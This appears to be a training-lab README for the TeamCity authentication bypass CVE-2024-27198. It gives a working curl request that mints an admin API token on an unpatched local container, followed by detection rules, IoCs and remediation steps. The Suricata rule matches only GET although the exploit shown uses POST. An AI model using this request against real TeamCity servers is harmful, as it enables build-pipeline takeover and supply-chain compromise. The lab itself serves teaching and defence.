CVE-2024-27198 Lab

Description

TeamCity provides an admin-only page for token management that is not protected by authentication. This allows an unauthenticated user to generate an access token for the admin user if they can find an ID of an existing user.

CVE Details

• CVE ID: CVE-2024-27198
• CWE: CWE-288
• CNA: JetBrains s.r.o.
• Base Score: 9.8 CRITICAL
• Vector:
  • CVSS:3.1
  • AV:N Network
  • AC:L Low
  • PR:N None
  • UI:N None
  • S:U Unchanged
  • C:H High
  • I:H High
  • A:H High

Threat Intelligence & OSINT

Real-World Impact & Exploitation

• CISA KEV Catalog: Added on March 7, 2024, confirming active exploitation in the wild.
• Threat Actors: Exploited by multiple ransomware groups and APTs, notably the BianLian ransomware group and the Jasmin ransomware variant. Attackers used this bypass to create rogue administrator accounts, deploy malicious plugins, and execute arbitrary code (RCE) to move laterally within victim networks.
• Target Profile: CI/CD pipelines are high-value targets (Supply Chain Attacks). Compromising TeamCity allows attackers to inject malicious code into software builds, steal source code, and extract deployment secrets (AWS keys, certificates).

Why this CVE is Critical

The vulnerability lies in the REST API routing mechanism. By appending specific characters (like ?jsp=/app/rest/...;.jsp) to an unauthenticated endpoint, attackers can trick the TeamCity web server into routing the request to an authenticated endpoint while bypassing the security filters. This requires zero prior knowledge or access, making it a pure 9.8 CVSS.

Steps to reproduce

Start the containers

cd CVE-2024-27198

docker compose -f docker-compose.yml up -d

Access the vulnerable Teamcity instance at http://localhost:8111. Access the patched Teamcity instance at http://localhost:8112.

Login Portal

Username:

admin

Password:

admin

Test the vulnerability

GET request for a resource without authentication:

curl -i http://localhost:8111/app/rest/users

curl -i http://localhost:8112/app/rest/users

Both should return an error with 401 status code.

Generate a token for admin user

curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

This should return a token like this (The token is different every time):

eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi

curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

This should return an error with 401 status code because the patched instance does not have the vulnerability.

Verify token

curl -i -H "Authorization: Bearer <TOKEN>" \
  http://localhost:8111/app/rest/users

Should return the list of users.

Delete the token

1. Go to http://localhost:8111 with admin account.
2. Click on the profile icon on the top right.
3. Go to Profile -> Access Tokens.
4. You will see the "REDTEAM" token.
5. Simply click Delete next to the token.

Blue Team: Hunting for IoCs in Logs (The Stealth Factor)

During the demonstration on the lab, you can show a massive Blue Team finding: by default, this vulnerability is incredibly stealthy!

1. Tomcat access logs are disabled by default in the TeamCity Docker image, so the ;.jsp HTTP requests are not logged.
2. The TeamCity audit log does not log token creation via the REST API.

So how do we catch it? When the attacker cleans up their tracks! When the attacker deletes their rogue token to hide, TeamCity does log that.

Find the attacker covering their tracks in the audit logs:

docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log

(You will see a log entry indicating that the "REDTEAM" token was deleted).

Stop the containers

docker compose -f docker-compose.yml down

Mitigation & Detection

Technical Analysis (CWE-288)

This vulnerability is an instance of CWE-288: Authentication Bypass Using an Alternate Path or Channel. The flaw stems from a path confusion issue between the Tomcat web server and the TeamCity application router. By appending ;.jsp and passing the target REST API endpoint in the jsp= parameter, the initial security filter interprets the request as an unauthenticated request to a public .jsp file (which is allowed). However, the internal router strips the ;.jsp and forwards the request to the restricted /app/rest/ endpoint without enforcing the authentication filter.

Legitimate Use Case (Why is ; allowed?): Tomcat uses the semicolon character (;) for Matrix Parameters. Historically, this mechanism is used to pass parameters directly within the path, such as appending JSESSIONID to maintain user session state when cookies are disabled. This normal, legitimate web server behavior, combined with the improper validation by the TeamCity application router, is what creates the vulnerability.

Indicators of Compromise (IoCs)

To detect an ongoing or past compromise, Blue Teams should look for:

1. Web Logs: HTTP requests targeting /app/rest/ endpoints but containing the anomalous ;.jsp string in the URI.
2. Audit Logs (teamcity-server.log): Unexplained generation of access tokens or creation of new administrative accounts.
3. System Level: Installation of unrecognized or suspicious plugins (often used by attackers to escalate privileges and achieve Remote Code Execution).

Log Detection (Sigma Rule)

Because the initial exploit is stealthy by default, Blue Teams must rely on detecting the attacker's post-exploitation actions, such as covering their tracks. Here is a Sigma rule for your SIEM to detect suspicious token deletions:

title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
author: Purple Team
date: 2026-05-18
logsource:
    category: application
    product: teamcity
detection:
    selection:
        message|contains: 'delete_token_for_user'
    condition: selection
level: medium

SIEM Live Demo (Blue Team)

To prove that this detection works, run the siem_simulator.py script.

1. Open a second terminal alongside your exploit terminal.
2. Make sure the vulnerable container is running (docker compose up -d).
3. Run the simulator:

python3 siem_simulator.py

4. In the first terminal, run the exploit, verify the token, and then delete the token via the web interface.
5. Watch the second terminal light up with a red critical alert showing the Sigma rule catching the attacker covering their tracks!

Remediation

• Official Patch: Upgrade TeamCity to version 2023.11.4 or higher, which properly sanitizes and enforces route matching on the backend.
• Workaround: If patching is impossible, JetBrains released a security patch plugin that can be installed on vulnerable instances.

Network Detection (Suricata / Snort Rule)

To detect this exploitation attempt on the network, a SOC can implement the following IDS rule, which looks for the anomalous ;.jsp pattern combined with REST API paths:

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Test the patched version (Lab Demonstration)

To prove the mitigation works, you can launch the exact same exploit payload against the patched TeamCity container running on port 8112:

curl -i -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

Because the patch strictly enforces route matching and properly sanitizes matrix parameters, the bypass will fail. You should see a 401 Unauthorized or 404 Not Found response instead of a generated token.

Links

• CVE-2024-27198